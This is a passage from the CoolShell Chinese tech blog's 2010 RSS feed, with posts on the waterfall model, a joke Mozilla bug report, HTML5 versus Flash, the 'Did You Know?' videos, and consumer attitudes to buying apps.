srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/05.04.Test_.jpg 797w, https://coolshell.cn/wp-content/uploads/2010/09/05.04.Test_-300x169.jpg 300w\" sizes=\"(max-width: 638px) 100vw, 638px\" /></a></p>\n<p>第五步，用户介入，全程review各个环节。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.05.Involve.Customer.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2951\" title=\"05.05.Involve.Customer\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/05.05.Involve.Customer.jpg\" alt=\"\" width=\"632\" height=\"451\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/05.05.Involve.Customer.jpg 790w, https://coolshell.cn/wp-content/uploads/2010/09/05.05.Involve.Customer-300x214.jpg 300w\" sizes=\"(max-width: 632px) 100vw, 632px\" /></a> <a href=\"https://coolshell.cn/wp-content/uploads/2010/09/06.Summary.jpg\"></a></p>\n<p>好了，问题解决了，让我们看看最终的“无比强大的”——Waterfall软件工程模型！</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/06.Summary.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2952\" title=\"06.Summary\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/06.Summary.jpg\" alt=\"\" width=\"725\" height=\"437\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/06.Summary.jpg 1007w, https://coolshell.cn/wp-content/uploads/2010/09/06.Summary-300x180.jpg 300w\" sizes=\"(max-width: 725px) 100vw, 725px\" /></a></p>\n<p>现在，当你在使用waterfall开发软件的时候，知道为什么痛苦了吧，40年前就已经如此了。</p>\n<p>下面是《<a href=\"http://confreaks.net/events/lsrc2010\">Lone Star Ruby Conference 2010</a>》的一个演讲叫《<a href=\"http://confreaks.net/videos/282-lsrc2010-real-software-engineering\" target=\"_blank\">Real Software Engineer</a>》，没有字幕，但我个人感觉英文很容易听懂，英文好的同学不妨看看。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2191.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/03/Zosh-150x150.jpg\" alt=\"DEMO Spring 2010 获奖产品\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2191.html\" class=\"wp_rp_title\">DEMO Spring 2010 获奖产品</a></li><li ><a href=\"https://coolshell.cn/articles/514.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"深入浅出CORBA\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/514.html\" class=\"wp_rp_title\">深入浅出CORBA</a></li><li ><a href=\"https://coolshell.cn/articles/677.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/ncurses_example-150x150.jpg\" alt=\"用Python写NCurses UI\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/677.html\" class=\"wp_rp_title\">用Python写NCurses UI</a></li><li ><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"InfoQ的ArchSummit大会对我的采访\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_title\">InfoQ的ArchSummit大会对我的采访</a></li><li ><a href=\"https://coolshell.cn/articles/1081.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"十个让你变成糟糕的程序员的行为\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1081.html\" class=\"wp_rp_title\">十个让你变成糟糕的程序员的行为</a></li><li ><a href=\"https://coolshell.cn/articles/2365.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"两个C++的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2365.html\" class=\"wp_rp_title\">两个C++的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2941.html\">Waterfall 软件工程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2941.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>17</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Mozilla的一个BUG</title>\n\t\t<link>https://coolshell.cn/articles/2936.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2936.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 13 Sep 2010 23:57:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Firefox]]></category>\n\t\t<category><![CDATA[Mozilla]]></category>\n\t\t<category><![CDATA[V8]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2936</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前，本站给大家介绍过一些BUG，如：《谷歌Chrome取消”http://”》，《Go语言的Issue 9》和《telnet的一个Bug》。今天，和大家再说一...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2936.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2936.html\">Mozilla的一个BUG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前，本站给大家介绍过一些BUG，如：《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2367.html\" target=\"_blank\">谷歌Chrome取消”http://”</a>》，《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1781.html\" target=\"_blank\">Go语言的Issue 9</a>》和《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2352.html\" target=\"_blank\">telnet的一个Bug</a>》。今天，和大家再说一个Mozilla的Bug，这个Bug的网址在这里：<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=579522\" target=\"_blank\">https://bugzilla.mozilla.org/show_bug.cgi?id=579522</a></p>\n<p>这个Bug的标题是这样的：“Buy cots for the JS interns” （为JS实习生买一些轻便小床），并说明“This bug is not actually a joke.”，这个BUG估计是在抱怨在Mozilla工作的实习生太辛苦了。在后面的跟贴中，很多人都提到了V8，呵呵。看来，大家还是在嘲笑Mozilla更多一些，大家不妨前往一看。</p>\n<p>Mozilla的firefox还是很让人失望的，作为一个Linux下默认的浏览器，其居然让Firefox的Windows版比Linux版更强大，在firefox 4.0 beta中居然出现了Windows Only的东东，着着实实地伤了很多firefox的粉丝的心，正因为这个，整个社区都开始BS并嘲笑Mozilla，并转投Chrome阵营。</p>\n<p>当然，最后这个BUG被fix了，有图为证：</p>\n<p><figure id=\"attachment_2937\" aria-describedby=\"caption-attachment-2937\" style=\"width: 560px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2937  \" title=\"Mozilla的Bug fixing\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/Mozilla.jpg\" alt=\"\" width=\"560\" height=\"420\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/Mozilla.jpg 800w, https://coolshell.cn/wp-content/uploads/2010/09/Mozilla-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/09/Mozilla-768x576.jpg 768w, https://coolshell.cn/wp-content/uploads/2010/09/Mozilla-360x270.jpg 360w\" sizes=\"(max-width: 560px) 100vw, 560px\" /><figcaption id=\"caption-attachment-2937\" class=\"wp-caption-text\">Mozilla的Bug fixing</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"浏览器正则表达式检查插件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_title\">浏览器正则表达式检查插件</a></li><li ><a href=\"https://coolshell.cn/articles/2069.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/01/browser_history-150x150.jpg\" alt=\"一个浏览器市场占有量的图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2069.html\" class=\"wp_rp_title\">一个浏览器市场占有量的图</a></li><li ><a href=\"https://coolshell.cn/articles/1714.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"Firefox插件WebMail Notifier\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1714.html\" class=\"wp_rp_title\">Firefox插件WebMail Notifier</a></li><li ><a href=\"https://coolshell.cn/articles/599.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Google 三维 JavaScript API 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/599.html\" class=\"wp_rp_title\">Google 三维 JavaScript API 发布</a></li><li ><a href=\"https://coolshell.cn/articles/2917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"Did You Know?\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2917.html\" class=\"wp_rp_title\">Did You Know?</a></li><li ><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" alt=\"Bret Victor &#8211; Learnable Programming\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_title\">Bret Victor &#8211; Learnable Programming</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2936.html\">Mozilla的一个BUG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2936.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你准备使用 HTML 5 吗？</title>\n\t\t<link>https://coolshell.cn/articles/2926.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2926.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 09 Sep 2010 06:27:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[Flash]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2926</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>现在做Web上的效果，主要是有三种方法，Flash，Javascript 和 HTML5。Flash就不用多说了，Javascript的效果也越来越猛了，如果配...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2926.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2926.html\">你准备使用 HTML 5 吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>现在做Web上的效果，主要是有三种方法，Flash，Javascript 和 HTML5。Flash就不用多说了，Javascript的效果也<a href=\"https://coolshell.cn/articles/2785.html\" target=\"_blank\">越来越猛</a>了，如果配上HTML5，那就如虎添翼了。先看看下面的这个HTML5的演示。其使用了HTML5的Canvas元件，把鼠标移上去看看吧（最好在Chrome下浏览）。源链接在<a href=\"http://rawkes.com/experiments/google-bouncing-balls-canvas/\" target=\"_blank\">这里</a>（在这里展示有点小，还是在那边全屏的看好一点）</p>\n<p align=center><iframe loading=\"lazy\" frameborder=\"0\" style=\"background:#000;border:0\" width=\"600\" height=\"400\" src=\"http://rawkes.com/experiments/google-bouncing-balls-canvas/\"></iframe></p>\n<p>下面是一个大图，来自<a href=\"http://www.focus.com/images/view/11905/\" target=\"_blank\">这里</a>（点击看大图）。其“抱怨”了为什么HTML怎么都要管？呵呵。其分成三块：</p>\n<p><span id=\"more-2926\"></span></p>\n<ul>\n<li>第一块是关于HTML5的功能，你可以查看本站的<a href=\"https://coolshell.cn/articles/2829.html\" target=\"_blank\">这篇文章</a>以查看相关的HTML5的细节。</li>\n<li>第二块说明了各种浏览器对HTML5的支持，从图中我们可以看到Chrome是支持的最好的。</li>\n<li>第三块从价格，功能，应用和效率上比较了HTML5和Flash，可参看本站的《<a title=\"HTML5 和 Flash 之争\" href=\"https://coolshell.cn/articles/2735.html\" target=\"_blank\">HTML5 和 Flash 之争</a>》。</li>\n</ul>\n<figure id=\"attachment_2932\" aria-describedby=\"caption-attachment-2932\" style=\"width: 274px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-2932\" title=\"为什么HTML什么都要干？\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51-274x300.jpg\" alt=\"\" width=\"274\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51-274x300.jpg 274w, https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51-768x840.jpg 768w, https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51-937x1024.jpg 937w, https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51-247x270.jpg 247w, https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51.jpg 1200w\" sizes=\"(max-width: 274px) 100vw, 274px\" /></a><figcaption id=\"caption-attachment-2932\" class=\"wp-caption-text\">为什么HTML什么都要干？（点击看大图）</figcaption></figure>\n<p>比较方面，关于价格，虽然Flash Player是免费的，但是开发工具是收费的，最重要的是，HTML5不是公司的产品，不存在垄断。在功能方面，目前当然是Flash很强，因为其图形处理能力很强，这点HTML5不如。在通用性方面，Flash是以插件的方式，而HTML5是浏览器支持的。当然，在性能方面，Javascript的方式对于CPU消耗地太猛了，这点Flash优势就很大了。</p>\n<p>HTML5还是Flash，你觉得哪个会更好呢？<br />\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2735.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"HTML5 和 Flash 之争\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2735.html\" class=\"wp_rp_title\">HTML5 和 Flash 之争</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2926.html\">你准备使用 HTML 5 吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2926.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Did You Know?</title>\n\t\t<link>https://coolshell.cn/articles/2917.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2917.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 06 Sep 2010 15:08:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[IT]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2917</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个短片可能Too Old了，不过我今天才看到，很不错，转到这里，让更多的人都能看到。 这是个信息爆炸飞速发展的年代，逆水行舟，不进则退。在这一组组的数据中...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2917.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2917.html\">Did You Know?</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个短片可能Too Old了，不过我今天才看到，很不错，转到这里，让更多的人都能看到。</p>\n<p>这是个信息爆炸飞速发展的年代，逆水行舟，不进则退。在这一组组的数据中让我们这班新生代年轻人反思自身所要背负和面对的压力和挑战！极有深度的短片，整理出来的数据实在是叫人震惊，生活在这个科技高速发展的时代既是种荣幸，又很有压力，对“学校里教得知识很多就是过时的”深有体会！！</p>\n<p><strong>Did You Know? 3.0版</strong></p>\n<p style=\"text-align: center;\"><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"480\" height=\"400\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"><param name=\"align\" value=\"middle\" /><param name=\"src\" value=\"http://player.youku.com/player.php/sid/XMTExMjg0NzQw/v.swf\" /><param name=\"quality\" value=\"high\" /><embed type=\"application/x-shockwave-flash\" width=\"480\" height=\"400\" src=\"http://player.youku.com/player.php/sid/XMTExMjg0NzQw/v.swf\" quality=\"high\" align=\"middle\"></embed></object></p>\n<p><strong>Did You Know? 4.0版</strong></p>\n<p><span id=\"more-2917\"></span></p>\n<p style=\"text-align: center;\"><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"480\" height=\"400\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"><param name=\"align\" value=\"middle\" /><param name=\"src\" value=\"http://player.youku.com/player.php/sid/XMTQxODYxMjMy/v.swf\" /><param name=\"quality\" value=\"high\" /><embed type=\"application/x-shockwave-flash\" width=\"480\" height=\"400\" src=\"http://player.youku.com/player.php/sid/XMTQxODYxMjMy/v.swf\" quality=\"high\" align=\"middle\"></embed></object><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"C/C++返回内部静态成员的陷阱\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12192.html\" class=\"wp_rp_title\">C/C++返回内部静态成员的陷阱</a></li><li ><a href=\"https://coolshell.cn/articles/37.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"【引文】如何用Python往Google Spreadsheet上写数据\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/37.html\" class=\"wp_rp_title\">【引文】如何用Python往Google Spreadsheet上写数据</a></li><li ><a href=\"https://coolshell.cn/articles/154.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail1-150x150.jpg\" alt=\"10个基于Ajax的PHP Webmail客户端\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/154.html\" class=\"wp_rp_title\">10个基于Ajax的PHP Webmail客户端</a></li><li ><a href=\"https://coolshell.cn/articles/1857.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"C 语言整型谜题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1857.html\" class=\"wp_rp_title\">C 语言整型谜题</a></li><li ><a href=\"https://coolshell.cn/articles/732.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"Glassfish ESB 的教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/732.html\" class=\"wp_rp_title\">Glassfish ESB 的教程</a></li><li ><a href=\"https://coolshell.cn/articles/209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"C++和JAVA传统中积极的一面\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/209.html\" class=\"wp_rp_title\">C++和JAVA传统中积极的一面</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2917.html\">Did You Know?</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2917.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>消费者的消费观</title>\n\t\t<link>https://coolshell.cn/articles/2913.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2913.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 03 Sep 2010 09:13:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[iPad]]></category>\n\t\t<category><![CDATA[iPhone]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2913</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>原文：http://theoatmeal.com/blog/apps 星巴克：这是你的venti-soy-whipped-frappa-lardy-lattec...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2913.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2913.html\">消费者的消费观</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div>\n<p>原文：<a href=\"http://theoatmeal.com/blog/apps\">http://theoatmeal.com/blog/apps</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/1.png\" alt=\"How I feel about buying apps\" /></p>\n<blockquote><p><strong>星巴克</strong>：这是你的venti-soy-whipped-frappa-lardy-lattechino，也就$7.15，你需要加点糖吗？只需要再加$1.95。</p>\n<p><strong>消费者</strong>：绝对要加。让我们的血糖值高到月亮上！</p></blockquote>\n<p><span id=\"more-2913\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/2.png\" alt=\"How I feel about buying apps\" /></p>\n<blockquote><p><strong>票房</strong>：先生，想看“断背3D吗”？一张票只要$13！</p>\n<p><strong>消费者</strong>：没问题！另外，有优惠吗？我想花$20再买点爆米花和碳酸饮料。</p></blockquote>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/3.png\" alt=\"How I feel about buying apps\" /></p>\n<blockquote><p><strong>Apple</strong>：新的iPhone 